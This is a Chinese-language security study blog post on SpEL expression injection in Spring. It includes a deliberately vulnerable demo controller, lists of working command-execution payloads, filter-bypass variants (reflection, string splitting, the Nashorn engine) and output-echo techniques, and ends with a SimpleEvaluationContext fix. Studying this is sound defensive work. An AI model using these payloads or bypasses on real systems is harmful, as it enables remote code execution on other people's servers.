赶紧来补一下SPEL表达式注入,前面Thymeleaf本质用的就是SPEL表达式

简介

Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。

Demo示例

package org.clown.springbootmemoryshell.contorller.spel;


import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class SpElController {
@GetMapping("/spelTest")
public String catUser(String message) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(message);
return expression.getValue().toString(); //获取表达式执行的结果
}
}

比如我们传一个生成随机数的表达式

http://localhost:8081/spelTest?message=T(java.lang.Math).random()*100

image-20241214130112061

下面的形式可以直接执行系统命令

http://localhost:8081/spelTest?message=new%20java.lang.ProcessBuilder(%22whoami%22).start() 

SpEl语法

spel用#{...}作为界定符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法

  • 引用其他对象:#{car}
  • 引用其他对象的属性:#{car.brand}
  • 调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}

这里需要注意#{}和${}的区别:

  • #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
  • ${}主要用于加载外部属性文件中的值;
  • 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量,想使用某个类就可以像前面的demo一样

注意除了java.lang包下的类,其他类都要用全类名的形式。

各种操作符

前面我们将输入的参数直接当成SpEL表达式去执行的,所以没有输入#{},但是如果用@Value去获取值执行就需要了,下面是一些表达式示例:

算术运算

//除法和模运算具有字母别名,div代表/,mod代表%。 +运算符还可用于连接字符串。
@Value("#{'string1'+'string2'}") //字符串拼接
private String name;

@Value("#{(2 + 2) * 2 + 9}") // 17 表达式计算
private double brackets;

关系和逻辑操作

@Value("#{1 == 1}") // true
private boolean equal;

@Value("#{1 eq 1}") // true
private boolean equalAlphabetic;

条件运算

@Value("#{2 > 1 ? 'a' : 'b'}") // "a"
private String ternary;

使用正则表达式

matchs运算符可用于检查字符串是否与给定的正则表达式匹配。

@Value("#{'100fghdjf' matches '\\d+' }") // false
private boolean invalidNumericStringResult;

@Value("#{'valid alphabetic string' matches '[a-zA-Z\\s]+' }") // true
private boolean validAlphabeticStringResult;

访问List和Map对象

我们可以访问上下文中任何Map或List的值

比如这里创建一个bean

@Component("workersHolder")
public class WorkersHolder {
private List<String> workers = new LinkedList<>();
private Map<String, Integer> salaryByWorkers = new HashMap<>();

public WorkersHolder() {
workers.add("John");
workers.add("Susie");
workers.add("Alex");
workers.add("George");

salaryByWorkers.put("John", 35000);
salaryByWorkers.put("Susie", 47000);
salaryByWorkers.put("Alex", 12000);
salaryByWorkers.put("George", 14000);
}

//Getters and setters
}

然后访问其中的值

@Value("#{workersHolder.salaryByWorkers['John']}") // 35000
private Integer johnSalary;

@Value("#{workersHolder.salaryByWorkers['George']}") // 14000
private Integer georgeSalary;

@Value("#{workersHolder.salaryByWorkers['Susie']}") // 47000
private Integer susieSalary;

@Value("#{workersHolder.workers[0]}") // John
private String firstWorker;

@Value("#{workersHolder.workers[3]}") // George
private String lastWorker;

@Value("#{workersHolder.workers.size()}") // 4
private Integer numberOfWorkers;

$界定符

可以访问application.properties文件的属性值

image-20241214135525790

SpEl表达式注入漏洞

漏洞原理

Spring提供了两个EvaluationContext:SimpleEvaluationContextStandardEvaluationContext

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

然后Spring默认采用的就是StandardEvaluationContext,我们自己去调试一下就可以知道,在前面demo代码中执行getValue方法获取表达式结果返回的过程中会给context赋值,如下图

image-20241214140834474

常用payload整理

${12*12}
T(java.lang.Runtime).getRuntime().exec("open -na Calculator")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')
new java.lang.ProcessBuilder('open -na Calculator').start()

回显

还学到一个利用org.apache.commons.io进行回显的操作

T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream())

但前提是引入了commons-io的依赖

<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.11.0</version>
</dependency>

绕过

//反射绕过
T(String).class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("open%20-na%20Calculator")

// + 一定要用url编码,不然浏览器解析会有问题
T(String).class.forName("java.lang.Ru"%2b"ntime").getMethod("getRu"%2b"ntime").invoke(null).exec("open%20-na%20Calculator")

T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).getClass().getMethod("exec",T(String)).invoke(T(java.lang.Runtime).getRuntime(),"open%20-na%20Calculator")

//使用ScriptEngineManager构造
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("java.lang.Runtime.getRuntime().exec('open -na Calculator')")

T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("java.lang.Runt"%2b"ime.getRu"%2b"ntime().e"%2b"xec('open -na Calculator')")


//引号被过滤,利用生成任意字符+concat函数采取字符串拼接
T(java.lang.Character).toString(97).concat(T(java.lang.Character).toString(98))

回显问题

根据前面的demo找了几个能够将命令结果回显出来的payload

利用StreamUtils

new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()))

image-20241214142327992

还有用BufferedReader封装

new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream())).readLine()

不过只能读取一行

image-20241214142701880

利用Scanner

原理在于Scanner#useDelimiter方法使用指定的字符串分割输出,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出

http://localhost:8081/spelTest?message=new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).useDelimiter("%5C%5CA").next()

通过url传输需要给\url编码一下,因为属于非法字符

image-20241214143839106

useDelimiter 方法用于设置 Scanner 的分隔符。"\\A" 是一个正则表达式,表示输入流的开头。使用这个分隔符可以让 Scanner 读取整个输入流,直到结束。

防御

因为SpEL表达式注入漏洞导致攻击者可以通过表达式执行精心构造的任意代码,导致命令执行。为了防御该类漏洞,Spring官方推出了SimpleEvaluationContext作为安全类来防御该类漏洞。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用;所以最直接的修复方式是使用 SimpleEvaluationContext 替换 StandardEvaluationContext

用法示例:

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(message);
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().withRootObject(message).build();
return expression.getValue(context).toString();

参考

https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/02.%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/01.java%E5%AE%89%E5%85%A8/01.%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80/10.spel%E8%A1%A8%E8%BE%BE%E5%BC%8F

https://jishu.dev/2021/05/23/spring-expression-language/

http://www.bmth666.cn/2023/04/15/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/index.html

https://dragonkeeep.top/category/SPEL/index.html